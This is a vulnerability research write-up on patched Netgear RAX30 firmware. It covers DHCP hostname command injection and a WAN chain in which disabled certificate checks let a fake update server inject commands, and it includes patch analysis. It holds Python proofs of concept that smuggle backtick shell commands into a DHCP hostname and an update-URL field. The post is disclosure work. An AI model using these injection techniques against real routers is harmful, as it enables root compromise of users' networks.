Background

Some time ago, we were playing with some Netgear routers and we learned so much from this target.

However, Netgear recently patched several vulnerabilities in their RAX30 router firmware, including the two vulnerabilities in the DHCP interface for the LAN side and one remote code execution vulnerability on the WAN side which we prepared for Pwn2Own Toronto 2022. This blog post focuses on the vulnerabilities found in version 1.0.7.78You can download the firmware from this link, and easily extract the firmware by using binwalk. All vulnerabilities were found and tested in version 1.0.7.78 of Netgear RAX30. Versions 1.0.7.78 and earlier are known to be susceptible as well.

Analysis of the LAN Bug

Many services are exposed on the LAN side of the router, such as: upnp, lighttpd, hostapd, minidlnad, smb, and so on. We decided to focus on one of our LAN bugs in the dhcp service.

DHCP command injection

One of the vulnerabilities we discovered was a command injection bug in the LAN side DHCP service. This bug occurred when we sent a DHCP request packet with the type DHCPREQUEST as we can see in the following code snippet.

void __fastcall __noreturn dhcpd(int a1, int a2)
{
    //truncated...
LABEL_84:
    switch ( *state )
    {// truncated...
      case DHCPREQUEST:
        requested_1 = (unsigned int *)get_option(&packet, DHCP_REQUESTED_IP);
        server_id_1 = (int *)get_option(&packet, DHCP_SERVER_ID);
        hostname = (const char *)get_option(&packet, DHCP_HOST_NAME); // [1]
        option55 = (char *)get_option(&packet, DHCP_PARAM_REQ);
        if ( requested_1 )
          v7 = *requested_1;
        if ( server_id_1 )
          v83 = *server_id_1;
        v45 = (char *)get_option(&packet, DHCP_VENDOR);
        test_vendorid(&packet, v45, &v87);
        v46 = v87;
        if ( v87 )
          goto LABEL_12;
        v47 = (unsigned __int8 *)MAX_DHCP_INFORM_COUNT;
        break; 
        // truncated...
LABEL_106:
    if ( lease )
    {
// truncated...
      if ( hostname )
      {
        v51 = *((unsigned __int8 *)hostname - 1);
        if ( v51 >= 0x3F )
          v51 = 63;
        strncpy(lease + 24, hostname, v51);
        lease[v51 + 24] = 0;
        send_lease_info(0, (int)lease); // [2]
      }

The hostname field (at [1]) in the packet struct is stored in the hostname field in the lease struct. And then, if the hostname field is not empty, the send_lease_info function (at [2]) will be called. In the send_lease_info function, the hostname is copied into a param command (at [1]) for the system function, allowing for command injection at [2].

int __fastcall send_lease_info(int a1, dhcpOfferedAddr *lease) 
{
// truncated...
  if ( !a1 )
  {
// truncated ...
    if ( body.hostName[0] )
    {
      strncpy((char *)HostName, body.hostName, 0x40u); // [1]
      snprintf((char *)v11, 0x102u, "%s", body.vendorid);
    }
    else
    {
      strncpy((char *)v10, "unknown", 0x40u);
      strncpy((char *)v11, "dhcpVendorid", 0x102u);
    }
    sprintf(
      command,
      "pudil -a %s %s %s %s \"%s\"",
      body.macAddr,
      body.ipAddr,
      (const char *)HostName,
      body.option55,
      (const char *)v11);
    system(command);   // [2]
  }
//...
}

Exploitation of DHCP command injection

To exploit this vulnerability, we had to find a way to fit our payload into the limited space of the hostname field, which was only 63 bytes. We managed to get our payload into the available bytes. Once we had our payload ready, we sent it in a DHCP request packet to the router, which then executed the payload with the permissions of the system function (it is root permission on this device). The script below is the Proof-of-Concept:

import dhcppython
from ipaddress import IPv4Address
import socket
import sys

def send_requests_packet(hostname):

    opt_list = dhcppython.options.OptionList(
        [
            dhcppython.options.options.short_value_to_object(53, "DHCPREQUEST"),
            dhcppython.options.options.short_value_to_object(54, "192.168.5.1"),
            dhcppython.options.options.short_value_to_object(50, "192.168.5.11"),
            dhcppython.options.options.short_value_to_object(12, hostname),
            dhcppython.options.options.short_value_to_object(55, [1, 3, 6, 15, 26, 28, 51, 58, 59, 43])
        ]
    )
    pkt = dhcppython.packet.DHCPPacket(op="BOOTREQUEST", htype="ETHERNET", hlen=6, hops=0, xid=123456, secs=0, flags=0, ciaddr=IPv4Address(0), yiaddr=IPv4Address(0), siaddr=IPv4Address(0), giaddr=IPv4Address(0), chaddr="DE:AD:BE:EF:C0:DE", sname=b'', file=b'', options=opt_list)
    print(pkt) 
    print (pkt.asbytes)

    # send DHCP packet to server by udp protocol
    pl = pkt.asbytes
    SOC = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
    SOC.sendto(pl, ('192.168.5.1', 67) )

send_requests_packet("a`touch /tmp/test`b")

Patch analysis for DHCP command injection

The hotfix with the firmware version 1.0.9.90 patched a vulnerability by using execve instead of system function. We decided to take a look at the hotfix.

int __fastcall send_lease_info(int a1, dhcpOfferedAddr *lease)
{
	//...
    if ( body.hostName[0] )
      hostName = body.hostName;
    else
      hostName = "unknown";
    strncpy(hostname, hostName, 0x40u);
    if ( body.vendorid[0] )
      snprintf(vendorid, 0x102u, "%s", body.vendorid);
    else
      strncpy(vendorid, "dhcpVendorid", 0x102u);
    argv[4] = hostname;
    argv[6] = vendorid;
    argv[0] = "pudil";
    argv[2] = body.macAddr;
    argv[3] = body.ipAddr;
    argv[1] = "-a";
    argv[5] = body.option55;
    argv[7] = 0;
    v10 = fork();
    if ( v10 )
    {
      do
      {
        if ( waitpid(v10, &v12, 0) == -1 )
          perror("waitpid");
      }
      while ( (v12 & 0x7F) != 0 && ((v12 & 0x7F) + 1) << 24 >> 25 <= 0 );
    }
    else
    {
      execve("/bin/pudil", argv, 0);
    }
  }
// ...

In our attempt to uncover a bypass for the patch, we dug deeper into the pudil binary. The binary runs with 8 arguments and parses them.

int __fastcall main(int argc, char **argv, char **a3)
{
	///...
  while ( 1 )
  {
    option = getopt(argc, argv, "hamdfFiuU");
    // ...
      switch ( option )
      {
        case 'a':
          if ( argc != 7 )
            continue;
          v7 = 0;
          body_macAddr = argv[2];
          //..
          if ( !body_macAddr )
          {
            printf("\n\x1B[31m%s error agruments \x1B[0m\n", "get_connectedInterface");
            goto LABEL_14;
          }
          break;
  }
  	  ///...
  while ( 1 )
      {
        memset(v29, 0, 0x100u);
        snprintf((char *)v29, 0x100u, "cat /proc/pega/hostname| grep -i %s | awk '{printf $4}'", body_macAddr);
        DBG_PRINT("cmd = %s\n", (const char *)v29);
        v14 = popen((const char *)v29, "r");
      //...

The main function checks the option, and we noticed that the body_macAddr variable is passed directly through the popen function. However, upon further inspection of how the variable is created, we are confident that it is not vulnerable.

cmsUtl_macNumToStr(lease->chaddr, body.macAddr);
//...
int __fastcall cmsUtl_macNumToStr(unsigned __int8 *char_mac, char *dest_str)
{
//...
  else
  {
    sprintf(
      dest_str,
      "%2.2x:%2.2x:%2.2x:%2.2x:%2.2x:%2.2x",
      *char_mac,
      char_mac[1],
      char_mac[2],
      char_mac[3],
      char_mac[4],
      char_mac[5]);
    return 0;
  }
}

The macAddr variable is the result of converting 6 bytes of hexadecimal data to a hexadecimal string, so it is safe and not vulnerable. Therefore, this patch is quite effective for this vulnerability.

WAN exploitation chain

After conducting a packet capture on the WAN port of the router, we discovered that the Netgear router was connecting to several domains including devcom.up.netgear.com and time-e.netgear.com. We found these connections to be quite interesting.

Netgear Router RAX30 Improper Certificate Validation

Upon further investigation, we found that the pucfu binary, which is responsible for checking firmware upgrades, is executed at boot time by the get_check_fw->fw_check_api function in "libfwcheck.so". This function sends a post HTTPS request to the UpBaseURL, which is defined in the *d2d* database as "https://devcom.up.netgear.com/UpBackend/".

The post HTTPS request is sent using the curl_post function:

size_t __fastcall curl_post(const char *url, const char *post_data, void **p_html
{
  /* ... */ 
  ((void (*)(int, const char *, ...))fw_debug)(1, " URL is %s\n", url);
  curl_easy_setopt(curl, CURLOPT_URL, url);
  curl_easy_setopt(curl, CURLOPT_HTTPHEADER, https_hdr);
  curl_easy_setopt(curl, CURLOPT_POSTFIELDS, post_data);
  curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0);   // [1]
  curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0);   // [2]
  curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 1);
  v12 = strlen(post_data);
  curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, v12);
  curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, curl_writedata_cb);
  curl_easy_setopt(curl, CURLOPT_WRITEDATA, &s);
  if ( curl_easy_perform(curl) )
  /* ... * /
}

(This code snippet is in curl_post, corresponding to assembly code from address 0x6B60).

The Netgear Router RAX30 has a security flaw that allows an attacker to control the firmware update process. This is possible because the CURLOPT_SSL_VERIFYHOST and CURLOPT_SSL_VERIFYPEER options are turned off at [1] and [2], which means the client will not perform certificate checks on the server. This allows the attacker to set up a fake DHCP and DNS server and impersonate the update server.

The response from the server looks like this:

{
    'status': 1,
    'url': ....
}

The url in the response will be written as "/tmp/fw/cfu_url_cache" and it will be used later.

Netgear Router RAX30 Command Injection

The pufwUpgrade binary is executed to check for firmware updates and the URL to check for updates is read from the file "/tmp/fw/cfu_url_cache". The FwUpgrade_download_FwInfo function passes the URL to the DownloadFiles function as the first argument, which means the attacker can control the URL and potentially inject malicious commands.

int __fastcall FwUpgrade_download_FwInfo(int option)
{//...
    while ( 1 )
    {
      SetFileValue("/data/fwLastChecked", "lastDL_sku", v69);
      SetFileValue("/data/fwLastChecked", "lastDL_url", g_url_update);
      v4 = DownloadFiles(&fw_upgrade, "/tmp/fw/dl_fileinfo_unicode", "/tmp/fw/dl_result", 0);
  //...
    }
}
int __fastcall DownloadFiles(const char *url_update, const char *a2, char *filename, int a4)
{
  //...
      if ( is_https )
        //...
      else
        snprintf(
          s,
          0x1F4u,
          "(curl --fail --insecure %s --max-time %d --speed-time 15 --speed-limit 1000 -o %s 2> %s; echo $? > %s)",
          url_update,     // [1]
          v7,
          a2,
          "/tmp/curl_result_err.txt",
          "/tmp/curl_result.txt");
      j_DBG_PRINT("%s:%d, cmd=%s\n", "DownloadFiles", 328, s);
      if ( j_pegaPopen(s, "r") )
  //...
}

The URL for our router will be stored in a command line string, making it vulnerable to command injection.

Exploitation for WAN

To exploit this vulnerability, we can fake a http server to handle requests from the router. The following code shows how this can be done using Python:

response_data = (
'{\r\n'
'    "status": 1,\r\n'
'    "url": "`touch /tmp/aaa`"\r\n'
'}\r\n'
)

class MyHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-type", "text/plain")
        self.end_headers()
        self.wfile.write(response_data)

if __name__ == "__main__":
    webServer = HTTPServer(('0.0.0.0', 8000), MyHandler)
    print("Server started http://%s:%s" % ('0.0.0.0', 8000))
    #...

Patch analysis WAN bugs

To patch this vulnerability, the LAN side will be patched with execve in version 1.0.9.90. The following code shows how this is done:

  argv[0] = "curl";
  argv[2] = "--insecure";
  argv[3] = "--cacert";
  argv[4] = "/opt/xagent/certs/ca-bundle-mega.crt";
  argv[5] = url_update;
  argv[6] = "--max-time";
  argv[8] = "--speed-time";
  argv[9] = "15";
  argv[10] = "--speed-limit";
  argv[12] = "-o";
  argv[13] = a4;
  argv[14] = 0;
//...
    execve("/bin/curl", argv, 0);
  }

Currently, we do not have a solution to bypass the patch for the curl binary. However, we have an idea to trigger this bug using a cron job. As shown in the UART log, the router runs /bin/pufwUpgrade -s to add a scheduler update to the /var/spool/cron/crontabs/cfu file, which file looks like this:

# cat /var/spool/cron/crontabs/cfu
59 3 * * * /bin/pufwUpgrade -A

This means that at 3:59 am, the router will download the upgrade file and rewrite the system. But can we control the time of the cfu file?

//...
      seed = time(0);
      srand(seed);
      rand_num = rand() % 180;
      memset(v19, 0, 0x200u);
      v14 = sub_156A8(rand_num, 60u);
      snprintf(
        (char *)v19,
        0x1FFu,
        "echo \"%d %d * * * /bin/pufwUpgrade -A \" >> %s/%s",
        rand_num % 60,
        v14 + 1,
        "/var/spool/cron/crontabs",
        "cfu");
      pegaSystem((int)v19);
//...

The process of updating the firmware on our router happens once per day. The exact time is controlled by the /bin/pufwUpgrade -s command. We attempted to use the ntpserver to manipulate the time on the router, but it didn’t seem to work T_T

The logic of the /bin/pufwUpgrade -A command is as follows: PerformAutoFwUpgrade => FwUpgrade_DownloadFW => FwUpgrade_WriteFW. The code for these functions is shown below:

int FwUpgrade_DownloadFW()
{
  //...
      SetFileValue("/data/fwLastChecked", "lastDL_url", &url);
      v0 = DownloadFiles(url_fw_file, "/tmp/fw/dl_fw", "/tmp/fw/dl_result", 0);
//...
}
int FwUpgrade_WriteFW()
{
  fp = fopen("/tmp/fw/dl_fw", "rb");
//...
  v2 = fread(v18, 1u, 0x20000u, fp);
  SignHeader = puUtl_getSignHeader(v18, v2, &v15, version, &v8, 31, db_ver, &v9, 31, board_id, &v10, 31, &length, 1);
//...
  if ( v10 )
  {
    memset(&boardid, 0, 32);
    puComm_getBoardId(&boardid, 32);
    if ( strcmp((const char *)&boardid, our_board_id) )
    {
      DBG_PRINT("signed data board id mis-match %s != %s\n", board_id, &boardid);
      return -1;
    }
  }
  v3 = sub_15818("/proc/environment/single_image", &boardid);
  if (v3)
  {
    snprintf(cmd, 0x100u, "dd if=%s of=%s skip=%d iflag=skip_bytes", "/tmp/fw/dl_fw", "/tmp/fw/dl_fw.pkgtb", length);
    pegaSystem(cmd);
    memset(cmd, 0, sizeof(cmd));
    snprintf(cmd, 0x100u, "bcm_flasher %s", "/tmp/fw/dl_fw.pkgtb");
    v6 = pegaSystem(cmd);
    //...
    memset(cmd, 0, sizeof(cmd));
    strcpy(cmd, "reboot");
    pegaSystem(cmd);
    //...
  }
}

In the code above, the program downloads the firmware and parses the header (without verifying the authenticity of the firmware). Then, it uses bcm_flasher to extract the firmware and reboot the router. We believe our exploit is still effective, but it only works once per day.

Conclusion

I would like to thank my mentors, Jang and Thach, for their guidance and invaluable feedback throughout my internship. It’s been an amazing experience working and interacting with the employees and interns at STAR Labs.

I would also like to thank my team members Frances Loy, Bruce Chen & Jacob Soo for their support in reviewing and commenting on parts of this blog post.

References